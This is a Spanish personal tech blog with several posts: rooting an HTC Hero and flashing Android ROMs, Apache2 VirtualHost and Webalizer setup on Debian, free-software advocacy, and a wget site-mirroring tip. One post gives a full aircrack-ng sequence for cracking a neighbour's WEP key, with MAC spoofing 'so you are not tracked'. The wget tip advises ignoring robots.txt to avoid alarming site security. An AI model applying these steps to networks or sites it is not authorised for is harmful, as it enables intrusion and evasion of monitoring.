h1

CUSTOMs RECOVERY, Flashear ROMs, RADIOs en HTC HERO:: Android 2.01

15 Enero 2010

Hacía ya tiempo que no le dedicaba un ratro al Blog.

Estas pasadas Navidades estuve jugando con mi HTC HERO y probando las nuevas versiones de ANDROID. Lo aquí publicado es un refrito de mil sitios, sobre todo de http://www.htcmania.com, donde comento cómo rootear nuestra HERO, como instalar nueva ROM con nueva versión de ANDROID (2.1 en mi caso.), como hacer copias de seguridad, como restaurar con un wipe…..

Firmwares:

-Android 1.5 -> La trae por defecto
- Android 1.6 “Donut” –> No saldrá para la HERO.
- Android 2.0 “Eclair” –> En teoría debería de salir YA!! (Enero 2010)

Yo he instalado una beta de Eclair, os cuento como.

Empecemos…. ;)

CUSTOM RECOVERY:

Meterle un nuevo Recovery a nuestra HERO, nos ayudará a olvidarnos del PC, a particionar la SD, hacer un backup nandroid, instalar nuevas ROMs y nuevas RADIOs.

Es aconsejable formatear vuestra SD Card antes de empezar el proceso. Perderéis toda la información que tengáis almacenada. Para ello:

Ajustes -> Almacenamiento -> Desmontar tarjeta SD -> Formatear tarjeta SD -> Montar tarjeta SD

Para ello:

1.-Descargar el Flash Rec: (Aquí).

2.-Descargar el Recovery Amon Ra 1.5.2 (Aquí).

3.-Copiar los dos archivos en nuestra SD.

4.-Con algún appinstaller pillado en el market instaláis el Flash Rec (para instalar aplicaciones desde la SD es necesario dar permiso desde Ajustes>Aplicaciones>Orígenes desconocidos)

5.-Una vez instalado, abre el programa Recovery Flasher desde el menú de aplicaciones, haz clcik en Backup Recovery Image y espera a que termine. Esto hará un backup del recovery original en tu SD. Se recomienda guardar en el PC por si queremos dejar nuestra Hero como recién salida del horno para garantía, venta o porque nos apetezca. El archivo se llamará recovery-backup.img.

6.- Una vez termine haz clic en la caja superior vacía e introduce ésta ruta (si hay otra ruta borrala y pon esta):

/sdcard/Recovery-RA-HERO-v1.5.2.img

y pulsa el botón Flash Recovery Image y espera a que termine. Ojo a la hora de escribir la ruta, si tenéis activado el corrector de texto podéis estar media hora entretenidos hasta que os deis cuenta de que no está escrita como debe.

7.- Apaga tu Hero, enciéndela en modo recovery (encender + casita) y verás la pantalla del nuevo Recovery. (Para encender normalmente desde aquí, selecciona Reboot system now).

NOTA: Si se te cuelga y no responde al apagado, quita la batería y empieza de nuevo el paso 7. Si no funciona, algo has hecho mal.

Ya tenemos instalado el Recovery desde el que vamos a hacer gran parte de las cosas.

BACKUP CON NANDROID:

Ahora se recomienda que utilicéis el nandroid para realizar un backup de la ROM original. No todo sale siempre como debe y esto os vendrá de perlas si os encontráis con cualquier problema.

1.-Inicia la Hero en modo Recovery (encender+casita)

2.-Selecciona Backup/Restore

3.-Selecciona Nand backup y luego la tecla HOME.

4.- Nos aparecerá el mensaje: Performing Backup…Y poco despues nos confirmará que ha terminado.

5.-Tecla retroceder y selecciona Reboot system now.

Podréis encontrar el backup en la ruta:  SDCARD:/nandroid/…

ACCESO COMO ROOT EN LA HERO:

El proceso es tan simple como descargarse la aplicación “InstantRoot“ , cargarla en nuestra Hero y ejecutar el programa. Automáticamente nos dará permisos de administrador sobre ella.

1.-Descargar InstantRoot: (Aquí)

2.- Copia el archivo InstantRoot.apk en el directorio raiz de tu SDCard con el USB

3.- Por medio del mismo appinstaller que utilizamos para el Recovery, instala el InstantRoot.apk.

4.-Nada más instalar una notificación aparecerá en la pestaña de notificaciones confirmando que tu HTC Hero ha sido Rooteada.

Comprobación:

Puedes comprobar si eres Root instalando la aplicación Better Terminal (desde Market, aunque ahora es de pago…).

Una vez instalada tipea: su

Si te responde con una # es que eres Root.

Por último:

Si lo deseas puedes desinstalar el InstantRoot y seguirás siendo Root.

CUSTOM ROM:

1º Descargar la Custom ROM que deseamos: (Aquí) En este caso es una versión BETA de android 2.1:  HERO21-1.8-Community-signed.zip (hay muchas más AQUÍ!

Particionar la SD: Para particionar, el Custom Recovery nos lo hará todo muy fácil.

  1. Iniciar en modo Recovery (encender+casita)
  2. Selecciona Partition sdcard.
  3. Selecciona Partition SD.
  4. Sigue las instrucciones en pantalla y deja los valores por defecto de las particiones. Son los recomendados.
  5. Desde elRecovery volvemos a Partition sdcard y seleccionamos SD:ext2 to ext3 y luego SD:ext3 to ext4.

Una vez hecho esto, se recomienda hacer un wipe.

Lo que hacemos con un wipe es borrar todos los archivos del terminal que hayamos metido tras el primer encendido. Un wipe NO restaura ROM original ni nada similar, sólo borra contactos, programas, datos de configuración, etc.

Para hacer el wipe, volvemos a modo Recovery, y seleccionamos Wipe, confirmamos pulsando HOME (la casita de siempre) y luego seleccionamos Reboot Siystem Now.

Ahora copiamos el archivo de la custom ROM a la sdcard y volvemos a reiniciar en modo Recovery. Seleccionamos Flash zip from sdcard, confirmamos lo que haya que confirmar, y tras un buen rato de espera nuestra Hero se reinicia con la nueva ROM instalada. No os preocupéis si tarda mucho en reiniciar, es lo normal.

*Si al reiniciar la Hero tras instalar la Custom ROM se mete en un bucle entre el logo de htc y el muñequito de android, quita batería, haz un wipe y vuelve a empezar.

CUSTOM RADIO:

1º Obtener la RADIO (Versión de Banda Base): (Aquí). En este caso se trata de la RADIO:  Radio 63.18.55.06_6.35.05.31.zip

2º copiarla en la sdcard, reiniciar en modo recovery, seleccionar en Flash zip from sdcard, seleccionar el archivo de radio de la SDy listo.

CUSTOM KERNEL:

Bien, para actualizar el kernel (el más reciente aquí (http://android.teknologism.org/Download/) es el mismo proceso que con la ROM y la Radio. Copiar archivo en la sd, reiniciar en modo recovery, Backup con nandroid, Flash zip from sdcard seleccionar el archivo, confirmar con HOME, esperar, Reboot system now y listo.

Lo que es distinto en el kernel, es que no es válido para todas las ROM’s. En la página de descarga (el enlace de más arriba) hay unas cuantas advertencias que deberías leer para estar seguro de si el kernel es válido para tu Hero.

h1

Google crea su Sistema Operativo de código abierto

9 Julio 2009

Y es que, no me cansaré de decirlo, pero… cada día me gusta más google!!! :)

google-chromeYa no es sólo que tengan uno de los mejores buscadores de la red, ni que google tenga en mi opinión el mejor gestor de correo electrónico, o que presente herramientas 2.0 como google docs o google maps, o que hayan apostado por youtube como la nueva revolución en la red.

Además de todo esto, en estos últimos meses google nos sorprende con Android, un plataforma con un Sistema Operativo Libre basada en Linux para dispositivos móviles,  y ahora nos presentan su propio Sistema Operativo de código abierto para notebooks, llamado, al igual que su navegador Google Chrome.

Estas son muy buenas noticias para la sociedad en general, para el desarrollo tecnológico y para el libre acceso a la tecnología y a la cultura. Herramientas y soluciones libres que me faciliten y ahorren costes a la hora de adquirir un teléfono móvil, una pda o a la hora de tener un sistema operativo estable y vanguardista para acceder a Internet sin ningún coste por licencias.

Por eso digo que …. me encanta Google!!!

Podéis ver mas info sobre el Sistema Operativo de Google en este enlace.

h1

Modelo de Software Libre en el sector TIC y PYME en Extremadura

16 Junio 2009

Recientemente, una pequeña delegación de extremeños fuimos a Sofia, para contar a nuestros amigos búlgaros cuál había sido la estrategia que desde Extremadura se había tomado en materia de Software Libre y las PYMEs, y de cómo, esta estrategia ha generado una nueva relación basada en servicios entre las empresas de desarrollo TIC y las PYMEs.

A continuación, os dejo el contenido de dicha presentación, espero que sirva de reflexión a alguien :)

LinEx PYME Project: Free Software & Innovative Solution in Extremadura

Our Experience:

2002: The Autonomous Government of Extremadura bet for offering to their citizens a Free OS with GPL licence and with the aim of approaching the new technologies to the people: gnuLinEx was born.

Octuber 2003: The Government of Extremadura considered the need of moving that philosophy to the company sector and started developing the LinEx PYME project:  www.gnulinex.net

Thanks to this, a small suite of business tools was offered to the public aiming the advantageously cooperation between these tools, the businessman and woman, and the ITC companies.

Relacción producida entre el sector TIC y las PYMEs en Extremadura gracias al Software Libre:

linexpyme

In this project, three essential parts can be easily identified:

Technological companies:
- Those who provide, or will be able to provide, technological solutions based on FLOSS (Free/Libre & Open Source Software).

Traditional SMEs:
- Those who want to modernize themselves with the use of technological solutions.
- Final clients of the technological companies.

Public Administration:

- Interested in the local development and also in providing a quality public service to their citizens.

TECHNOLOGICAL COMPANIES:

Opportunities:
- To get into a traditionally based-on-licence market where the regional technological companies never could compete. They have never had enough resources to develop killer applications.
- To cooperate in innovation and to compete in services.

Challenges:
- Change their business model, getting the return of the investment by services and not licenses (consulting, updating, training…).


TRADITIONAL SMEs
:

Opportunities:
- The use a better technological solution for their own management.
- Technological independence
- Saving costs.
- Adaptability.
- Security…

Challenges:
- To identify which is the best option for them, to pay for licenses or services.
- To bet for something new although difficult.
- To take time in learning a new management solution.


PUBLIC ADMINISTRATION:

Opportunities
- To develop a strong regional sector of technological companies based on services around FLOSS applications. Create wealth and employment in the region.
- To modernize the local traditional SMEs with the best solution for them.
- To share their knowledge and putting it at disposal of all the citizens.

Challenges
- Serving as intermediary informing the traditional SMEs of the existing technological solutions for their management.
- To guarantee the development of FLOSS in the region and the FLOSS applications in all fields.

Os dejo la presentación completa aquí: Software Libre, TICs y PYMEs

h1

Cómo configurar VirtualHosts en Apache2 + Webalizer en Debian (II parte)

15 Junio 2009

Una vez tenemos los VirtualHosts configurados como vimos en el anterior Post, vamos a prepararlos para tener las estadísticas por separadi de cada sitio:

Lo primero es instalar la herramienta que me va a permitir ver dichas estadísticas: webalizer

#apt-get install webalizer

Una vez instalada, editamos el archivo de configuración y lo copiamos para los VirtualHosts:

# cp /etc/webalizer/webalizer.conf /etc/webalizer/dominio1.conf
# cp /etc/webalizer/webalizer.conf /etc/webalizer/dominio2.conf

Usando un editor de texto, como “nano” modificamos las siguientes entradas en ambos archivos. En el caso de /etc/webalizer/dominio1.conf:

LogFile /var/www/dominio1/logs/access.log
OutputDir /var/www/dominio1/webalizer

Ahora ya podemos comenzar a capturar datos. Antes hay que lanzar esta orden la primera vez para comenzar las futuras capturas (para el caso del dominio1):

# logrotate -f /etc/logrotate.d/apache2
# webalizer -c /etc/webalizer/dominio1.conf

Webalizer V2.01-10 (Linux 2.6.18-4-686) locale: es_ES.UTF-8
Utilizando histórico /var/log/apache2/access.log (clf)
Using default GeoIP database
Creando informe en /var/www/dominio1/webalizer
El nombre de máquina en el informe es ‘dominio1′
Leyendo archivo… webalizer.hist
Reading previous run data.. webalizer.current
Grabando datos de la ejecucion actual… [06/15/2009 11:53:34]
Generando informe de June 2009
Generando informe resumido
Guardando información de archivo…
257 registros (17 ignorados) en 0,03 segundos

Repetiríamos el caso para el dominio2 de la misma manera.

Ahora podrás acceder de modo individual al webalizer de cada sitio de la siguiente manera:

http://dominio1.com/webalizer
y http://dominio2.com/webalizer

h1

Cómo configurar VirtualHosts en Apache2 + Webalizer en Debian (I parte)

23 Abril 2009

Estos días he tenido que preparar un servidor Apache2 para que funcionase con varios dominios diferentes desde la misma IP, es decir, que un único servidor Apache alojase y resolviese 2 dominios por separado. Es lo que se conoce como configurar VirtualHosts basados en nombres.

Lo primero es instalar el servidor Apache2:

#apt-get install apache2 apache2-common

Una vez instalado, toda la configuración de Apache está en /etc/apache2/.

Mirando el contenido de este directorio, observamos distintos archivos y directorios, entre los cuales están: sites-available y sites-enabled.

En ambos directorios debe existir un archivo “default”, el cual tomaremos como base para editar la configuración de nuestros Hosts Virtuales. En sites-available tendremos los VirtualHosts disponibles (pero no “activados”) para ser usados y en sites-enabled, tendremos los VirtualHosts que tenemos funcionando. La forma de trabajar entre estos directorios es a través de un enlace simbólico; así el default de sites-enabled será un enlace simbólico del default de sites-available.

Debian incluye sus propias herramientas para activar y desactivar tanto sitios web como módulos:

a2ensite-> Activa un sitio web.
a2dissite-> Desactiva un sitio web
a2enmod-> Activa un módulo de apache disponible en mods-available.
a2dismod->Desactiva un módulo.

Por defecto, apache nos crea un “index.html” como página de inicio de nuestro servidor web. Para desactivarla y comenzar a hacer uso de los VirtualHosts desactivaremos antes este inicio por defecto:

#a2dissite default

Imaginamos que tenemos “dominio1.com” y “dominio2.com”. Vamos a comenzar a preparar estos dos VirtualHosts. Para ello nos dirigimos a /etc/apache2/available-sites/ y utilizaremos el archivo default como base para preparar la configuración de estos, para ello hacemos una copia:

#cp default dominio1.com
#cp default dominio2.com

El contenido de estos dos sitios web lo podemos volcar en /var/www/dominio1 y en /var/www/dominio2 respectivamente. Para ello, creamos estos dos directorios donde volcaremos los contenidos de ambas webs:

#mkdir  /var/www/dominio1
#mkdir  /var/www/dominio2

Una vez creado estos dos directorios volcado el contenido de las webs en ellos, sólo queda editar los archivos de configuración de los hosts virtuales.

Editaremos en primer lugar el del dominio1. Para ello:

#nano /etc/apache2/sites-available/dominio1.com

El cual debe quedar parecido a esto:

#
#  dominio1.com (/etc/apache2/sites-available/www.dominio1.com)
#

NameVirtualHost 192.168.1.3 -> (IP de nuestro servidor)

<VirtualHost 192.168.1.3>
ServerAdmin webmaster@dominio1.com
ServerName  www.dominio1.com
ServerAlias dominio1.com *.dominio1.com

# Indexes + Directory Root.
DirectoryIndex index.html index.php
DocumentRoot /var/www/dominio1/

# Logfiles
ErrorLog  /var/www/dominio1/logs/error.log -> (hay que crear los directorios si no existen)
CustomLog /var/www/dominio1/logs/access.log combined -> (hay que crear los directorios si no existen)
</VirtualHost>

Y lo mismo con elotro virtualHost /etc/apache2/sites-available/dominio2.com

#
#  dominio2.com (/etc/apache2/sites-available/www.dominio2.com)
#

NameVirtualHost 192.168.1.3 -> (IP de nuestro servidor)

<VirtualHost 192.168.1.3>
ServerAdmin webmaster@dominio2.com
ServerName  www.dominio2.com
ServerAlias dominio2.com *.dominio2.com

# Indexes + Directory Root.
DirectoryIndex index.html index.php
DocumentRoot /var/www/dominio2/

# Logfiles
ErrorLog  /var/www/dominio2/logs/error.log -> (hay que crear los directorios si no existen)
CustomLog /var/www/dominio2/logs/access.log combined -> (hay que crear los directorios si no existen)
</VirtualHost>

Ahora solamente nos queda que activamos los dos sitios:

#a2ensite dominio1.com
#a2ensite dominio2.com

Esto creará el enlace simbolico de estos archivos entre sites-available y sites-enabled. Ahora sólo tendremos que recargar la configuración para que apache coja los cambios.

# /etc/init.d/apache2 reload

y miramos si la configuración de los virtualhosts está bien:

#apache2 -S

VirtualHost configuration:
192.168.1.3:* is a NameVirtualHost
default server dominio1.com (/etc/apache2/sites-enabled/dominio1.com:2)
port * namevhost dominio1.com (/etc/apache2/sites-enabled/dominio1.com:2)
port * namevhost dominio2.com (/etc/apache2/sites-enabled/dominio2.com:2)
Syntax OK

Con esto, ya podemos comprobar si realmente funcionan nuestros VirtualHosts.

* Si no hemos dado de alta dominio1.com y dominio2.com en un servidor de DNS para hacer pruebas podemos editar el /etc/hosts para que las peticiones a esos dominios vayan a nuestros servidor:

192.168.1.3 dominio1.com dominio2.com

En el próximo capítulo veremos como configurar Webalizer para conocer las estadísticas de ambos dominios por separado. ;)

h1

LOS DJ´S NO NECESITAN UNA LICENCIA DE SGAE PARA PODER PINCHAR

20 Abril 2009

Últimamente, los amigos de la $GAE, están atacando directamente sobre aquellos que trabajan en salas y locales “pinchando” música, ya sea usando sus copias de seguridad o música guardada en sus disco duros, aún en el caso de que en que dichas salas, se esté ya pagando su correspondiente canon para poder realizar esto.

Si alguno de vosotros es DJ, conoce a alguno o simplemente quire estar mejor informado sobre este tema, os dejo un documento leido en exgae.net donde se explica los derechos fundamentales de cualquier DJ cuando realiza una sesión.

Como curiosidades a destacar para un DJ: no existe ninguna ley que le impida el uso de copias de seguridad para el ejercicio de su actividad, y no se precisa de licencia alguna expedida por ninguna entidad de gestión para el ejercicio libre de la actividad.

Os dejo el documento original AQUÍ. Espero que os aclare muchas dudas! ;)

h1

Inyectar paquetes con un Macbook con Airport

3 Abril 2009

Como ya sabéis las airport de los Macbook se resisten a funcionar en modo pasivo para inyectar paquetes, y no podemos usar el archiconocido Kissmac.

Pero si arrancamos con una distribución de Linux, la cosa cambia.

Para el ejemplo podemos usar la mejor distribución que conozco :P La Albertux 1.0.1. Os la podéis bajar desde aquí. http://albertoreynolds.es/index.php?secc=downloads

Tambien podeis usar otras como la backtrack http://www.remote-exploit.org/backtrack_download.html

La quemamos y arrancamos el Macbook desde el cd (manteniendo presionado C nada más arrancarlo)

Una vez cargada, abrimos un Terminal y hacemos lo siguiente:

Primero cambiamos la mac de tu wifi (no vaya a ser que te rastreen)

#airmon-ng stop ath0

#ifconfig wifi0 down

#macchanger –mac 00:11:00:11:00:11 wifi0

La ponemos en pie y buscamos redes disponibles

#airmon-ng start wifi0

#airodump-ng ath0

Paramos el proceso pulsando Ctrl-C

Buscamos una red con encriptación wep y con mayor potencia (pwr)

airodump

En este caso nos quedamos con el BSSID 00:17:33:8C:81:77 y el canal CH  11

#airodump-ng -c 11 -w file –bssid 00:17:33:8C:81:77 ath0

Donde -c 11 indica el canal y -w file es el archivo donde se van guardando los paquetes capturados.

Dejamos este Terminal abierto y abrimos otro y ejecutamos:

#aireplay-ng -1 0 -a 00:17:33:8C:81:77  -h  00:11:00:11:00:11 ath0

#aireplay-ng -3 -b 00:17:33:8C:81:77  -h   00:11:00:11:00:11 ath0

Abrimos otro Terminal más sin cerrar los anteriores y cuando hayamos capturado suficientes paquetes ejecutamos:

#aircrack-ng -b 00:17:33:8C:81:77  file-01.cap

Si hay suficientes, saldrá la wep en este formato : [AA:BB:CC:DD:EE… y esa es la wep. Cuando te la pida, tendrás que escribirla sin los puntos, es decir AABBCCDDEE..

3_aircrack

Y así podreis ir a vuestro vecino y decirle que la seguridad de su router no es suficiente y que la incremente… ;-P

h1

El detergente Open Source

24 Marzo 2009

linux

h1

Wget: Descarga una web completa a nuestro disco duro desde Linux

5 Marzo 2009

Wget es una herramienta que nos premite descargar un sitio web al completo desde una simple línea de comandos de Linux.

Su usro sería así:

wget –random-wait –limit-rate=64k -e robots=off -r -p -U mozilla http://www.migueb.com

Donde…

–random-wait significa que entre un pedido y otro al website, que espere un tiempo aleatorio, para así no pedir demasiadas páginas y archivos uno detrás de otro y alarmar a algún sistema de seguridad.

–limit-rate=64k significa que no pase de 64 KiloBytes por segundo en transferencia de datos. Este número depende de tu conexión a Internet, y no es recomendado que lo incrementes mucho para no alarmar al website remoto. También puedes especificar el valor en MB/s sustituyendo la “k” por una “m”.

-e robots=off significa que wget no debe prestar atención al archivo robots.txt que indica cuáles páginas no deben accederse por un navegador web.

-r significa que queremos todo de manera recursiva.

-p indice que descargue todos los archivos para desplegar adecuadamente una página HTML.

-U mozilla significa que impersonifique a la familia Mozilla de navegadores (como Firefox).

Y finalmente sustituye http://www.migueb.com por el website que deseas descargar.

Una herramienta muy útil y sencilla de usar!! ;)

h1

Linux, una buena solución en época de crisis

25 Febrero 2009

Leido en http://ramonramon.org/.

Diez razones por la que usar Software Libre es beneficioso para las empresas, más aún en época de crisis.

Decálogo “Contra la crisis: Linux”:

RamonRamon:
http://ramonramon.org/blog/2009/02/25/contra-la-crisis-linux/

Grupo de Usuarios Asociación de Internautas:
http://guai.internautas.org/html/162.html

Turegano.net:
http://www.turegano.net/2009/01/28/antidoto-crisis-software-libre/